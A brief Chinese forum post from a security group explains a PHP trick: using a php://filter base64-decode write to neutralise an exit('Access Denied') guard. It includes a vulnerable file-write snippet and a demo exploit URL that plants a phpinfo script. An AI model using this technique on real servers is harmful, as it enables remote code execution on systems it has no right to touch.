Wolves Security Team

jackal

Moderator

Registered: 2008-10-05

Posts: 15

绕过'Access Denied'

heige的百度空间老是掉留言,看着玩插一脚. :)

register_globals = On

<?php
$sqlcontent = "<?PHP exit('Access Denied'); ?>".$p."\n";
file_put_contents($logfile, $sqlcontent);
?>

exp-demo.php?logfile=php://filter/write=convert.base64-decode/resource=abc.php&p=aPD9waHAgcGhwaW5mbygpOy8vPz4=

http://marc.info/?l=full-disclosure&m=1 … 521671&w=2
base64-decode会掉过不能解码的特殊字符,变成PHPexitAccessDenied,Base64编码要求把3个8位字节（3*8=24）转化为4个6位的字节（4*6=24），保证能顺利解码补齐字符随便加个a补齐20位.

http://docs.php.net/manual/zh/filters.convert.php